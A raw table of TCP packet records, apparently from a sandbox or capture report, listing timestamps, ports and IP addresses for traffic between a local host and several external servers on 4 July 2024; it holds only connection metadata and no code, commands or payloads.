Jul 4, 2024 20:34:13.470973015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.471044064 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.471056938 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.471055984 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.471055984 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.471066952 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.471082926 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.471096039 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.471108913 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.471124887 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.474860907 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.508070946 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.508081913 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.508091927 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.508162975 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.508178949 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.508188963 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.508198023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:13.508248091 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:13.508248091 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:14.040328026 CEST	49732	443	192.168.2.4	13.85.23.86
Jul 4, 2024 20:34:14.084502935 CEST	443	49732	13.85.23.86	192.168.2.4
Jul 4, 2024 20:34:14.279095888 CEST	443	49732	13.85.23.86	192.168.2.4
Jul 4, 2024 20:34:14.279119968 CEST	443	49732	13.85.23.86	192.168.2.4
Jul 4, 2024 20:34:14.279129982 CEST	443	49732	13.85.23.86	192.168.2.4
Jul 4, 2024 20:34:14.279162884 CEST	443	49732	13.85.23.86	192.168.2.4
Jul 4, 2024 20:34:14.279177904 CEST	443	49732	13.85.23.86	192.168.2.4
Jul 4, 2024 20:34:14.279186964 CEST	443	49732	13.85.23.86	192.168.2.4
Jul 4, 2024 20:34:14.279249907 CEST	49732	443	192.168.2.4	13.85.23.86
Jul 4, 2024 20:34:14.279263973 CEST	443	49732	13.85.23.86	192.168.2.4
Jul 4, 2024 20:34:14.279366970 CEST	49732	443	192.168.2.4	13.85.23.86
Jul 4, 2024 20:34:14.279552937 CEST	443	49732	13.85.23.86	192.168.2.4
Jul 4, 2024 20:34:14.279619932 CEST	49732	443	192.168.2.4	13.85.23.86
Jul 4, 2024 20:34:14.279627085 CEST	443	49732	13.85.23.86	192.168.2.4
Jul 4, 2024 20:34:14.279860020 CEST	443	49732	13.85.23.86	192.168.2.4
Jul 4, 2024 20:34:14.281277895 CEST	49732	443	192.168.2.4	13.85.23.86
Jul 4, 2024 20:34:15.100559950 CEST	49732	443	192.168.2.4	13.85.23.86
Jul 4, 2024 20:34:15.100583076 CEST	443	49732	13.85.23.86	192.168.2.4
Jul 4, 2024 20:34:15.100594044 CEST	49732	443	192.168.2.4	13.85.23.86
Jul 4, 2024 20:34:15.100600004 CEST	443	49732	13.85.23.86	192.168.2.4
Jul 4, 2024 20:34:16.083981991 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:16.084140062 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:17.954622984 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:17.956795931 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:19.156469107 CEST	80	49723	95.140.236.128	192.168.2.4
Jul 4, 2024 20:34:19.156810045 CEST	49723	80	192.168.2.4	95.140.236.128
Jul 4, 2024 20:34:19.156857967 CEST	49723	80	192.168.2.4	95.140.236.128
Jul 4, 2024 20:34:19.161880970 CEST	80	49723	95.140.236.128	192.168.2.4
Jul 4, 2024 20:34:19.772059917 CEST	49741	443	192.168.2.4	184.28.90.27
Jul 4, 2024 20:34:19.772110939 CEST	443	49741	184.28.90.27	192.168.2.4
Jul 4, 2024 20:34:19.772178888 CEST	49741	443	192.168.2.4	184.28.90.27
Jul 4, 2024 20:34:19.773845911 CEST	49741	443	192.168.2.4	184.28.90.27
Jul 4, 2024 20:34:19.773863077 CEST	443	49741	184.28.90.27	192.168.2.4
Jul 4, 2024 20:34:20.448364019 CEST	443	49741	184.28.90.27	192.168.2.4
Jul 4, 2024 20:34:20.448436022 CEST	49741	443	192.168.2.4	184.28.90.27
Jul 4, 2024 20:34:20.452933073 CEST	49741	443	192.168.2.4	184.28.90.27
Jul 4, 2024 20:34:20.452953100 CEST	443	49741	184.28.90.27	192.168.2.4
Jul 4, 2024 20:34:20.453164101 CEST	443	49741	184.28.90.27	192.168.2.4
Jul 4, 2024 20:34:20.492831945 CEST	49741	443	192.168.2.4	184.28.90.27
Jul 4, 2024 20:34:20.536504030 CEST	443	49741	184.28.90.27	192.168.2.4
Jul 4, 2024 20:34:20.929723024 CEST	443	49741	184.28.90.27	192.168.2.4
Jul 4, 2024 20:34:20.929795980 CEST	443	49741	184.28.90.27	192.168.2.4
Jul 4, 2024 20:34:20.929941893 CEST	49741	443	192.168.2.4	184.28.90.27
Jul 4, 2024 20:34:20.930031061 CEST	49741	443	192.168.2.4	184.28.90.27
Jul 4, 2024 20:34:20.930053949 CEST	443	49741	184.28.90.27	192.168.2.4
Jul 4, 2024 20:34:20.930064917 CEST	49741	443	192.168.2.4	184.28.90.27
Jul 4, 2024 20:34:20.930069923 CEST	443	49741	184.28.90.27	192.168.2.4
Jul 4, 2024 20:34:20.961035013 CEST	49742	443	192.168.2.4	184.28.90.27
Jul 4, 2024 20:34:20.961070061 CEST	443	49742	184.28.90.27	192.168.2.4
Jul 4, 2024 20:34:20.961136103 CEST	49742	443	192.168.2.4	184.28.90.27
Jul 4, 2024 20:34:20.961431980 CEST	49742	443	192.168.2.4	184.28.90.27
Jul 4, 2024 20:34:20.961447954 CEST	443	49742	184.28.90.27	192.168.2.4
Jul 4, 2024 20:34:21.641444921 CEST	443	49742	184.28.90.27	192.168.2.4
Jul 4, 2024 20:34:21.641520977 CEST	49742	443	192.168.2.4	184.28.90.27
Jul 4, 2024 20:34:21.642821074 CEST	49742	443	192.168.2.4	184.28.90.27
Jul 4, 2024 20:34:21.642829895 CEST	443	49742	184.28.90.27	192.168.2.4
Jul 4, 2024 20:34:21.643054008 CEST	443	49742	184.28.90.27	192.168.2.4
Jul 4, 2024 20:34:21.644069910 CEST	49742	443	192.168.2.4	184.28.90.27
Jul 4, 2024 20:34:21.684509039 CEST	443	49742	184.28.90.27	192.168.2.4
Jul 4, 2024 20:34:21.910379887 CEST	49743	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:21.915236950 CEST	80	49743	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:21.915410995 CEST	49743	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:21.915610075 CEST	49743	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:21.920634031 CEST	80	49743	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:21.925976038 CEST	443	49742	184.28.90.27	192.168.2.4
Jul 4, 2024 20:34:21.926031113 CEST	443	49742	184.28.90.27	192.168.2.4
Jul 4, 2024 20:34:21.926098108 CEST	49742	443	192.168.2.4	184.28.90.27
Jul 4, 2024 20:34:21.926997900 CEST	49742	443	192.168.2.4	184.28.90.27
Jul 4, 2024 20:34:21.927012920 CEST	443	49742	184.28.90.27	192.168.2.4
Jul 4, 2024 20:34:21.927023888 CEST	49742	443	192.168.2.4	184.28.90.27
Jul 4, 2024 20:34:21.927028894 CEST	443	49742	184.28.90.27	192.168.2.4
Jul 4, 2024 20:34:22.625861883 CEST	80	49743	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:22.626008987 CEST	49743	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:22.627118111 CEST	49743	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:22.632085085 CEST	80	49743	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:22.855735064 CEST	80	49743	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:22.855798006 CEST	49743	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:22.860595942 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:22.865587950 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:22.865644932 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:22.865830898 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:22.870754004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.586669922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.586689949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.586708069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.586720943 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.586730957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.586741924 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.586756945 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.586766005 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.586767912 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.586776972 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.586806059 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.586822987 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.586909056 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.590717077 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.591681004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.591692924 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.591702938 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.591761112 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.591793060 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.595448971 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.598757982 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.705281019 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.705297947 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.705308914 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.705321074 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.705395937 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.705395937 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.710004091 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.710016012 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.710027933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.710077047 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.710203886 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.710712910 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.714773893 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.714786053 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.714865923 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.715461969 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.715473890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.715485096 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.715528965 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.715528965 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.719553947 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.719568014 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.719616890 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.720282078 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.720293999 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.720360041 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.724383116 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.724395990 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.724507093 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.725064993 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.725076914 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.725141048 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.729302883 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.729314089 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.729326010 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.729425907 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.822561026 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.822577953 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.822587967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.822597980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.822695971 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.822741985 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.822767973 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.822861910 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.822911978 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.822988033 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.822999001 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.823009014 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.823040962 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.823060989 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.823132992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.823314905 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.823607922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.823617935 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.823631048 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.823638916 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.823664904 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.823703051 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.824156046 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.824167013 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.824177027 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.824187040 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.824232101 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.824256897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.824579000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.824619055 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.824630976 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.824671030 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.824697018 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.824707031 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.824717999 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.824724913 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.824724913 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.824742079 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.825570107 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.825579882 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.825588942 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.825643063 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.825643063 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.825676918 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.825687885 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.825697899 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.825735092 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.825735092 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.826523066 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.826575041 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.826585054 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.826610088 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.826620102 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.826627016 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.826631069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.826652050 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.826730967 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.827552080 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.827569962 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.827579975 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.827635050 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.827635050 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.827753067 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.827763081 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.827806950 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.827812910 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.827847958 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.828491926 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.828502893 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.828511953 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.828541994 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.828562021 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:23.828568935 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.828578949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:23.828610897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.161164045 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.161180973 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.161192894 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.161204100 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.161231995 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.161262035 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.161267042 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.161278009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.161303043 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.161313057 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.161348104 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.161377907 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.161389112 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.161428928 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.161431074 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.161448002 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.161449909 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.161461115 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.161465883 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.161470890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.161483049 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.161497116 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.161506891 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.161506891 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.161518097 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.161528111 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.161530972 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.161559105 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.161633015 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.161643028 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.161652088 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.161664009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.161664963 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.161674023 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.161685944 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.161696911 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.161698103 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.161730051 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.161758900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.161770105 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.161781073 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.161792040 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.161792040 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.161803007 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.161820889 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.161849976 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.161865950 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.161876917 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.161886930 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.161896944 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.161900997 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.161907911 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.161928892 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.161948919 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.162003040 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.162014008 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.162028074 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.162045002 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.162045956 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.162055969 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.162065983 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.162070036 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.162075996 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.162091017 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.162102938 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.162112951 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.162113905 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.162122965 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.162123919 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.162133932 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.162137032 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.162163019 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.162183046 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.162194014 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.162204027 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.162219048 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.162225008 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.162235975 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.162265062 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.162271976 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.162283897 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.162293911 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.162307024 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.162312031 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.162317038 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.162328005 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.162336111 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.162339926 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.162350893 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.162379026 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.162406921 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.162457943 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.175653934 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.175664902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.175712109 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.175721884 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.175733089 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.175739050 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.175743103 CEST	80	49744	77.91.77.81	192.168.2.4
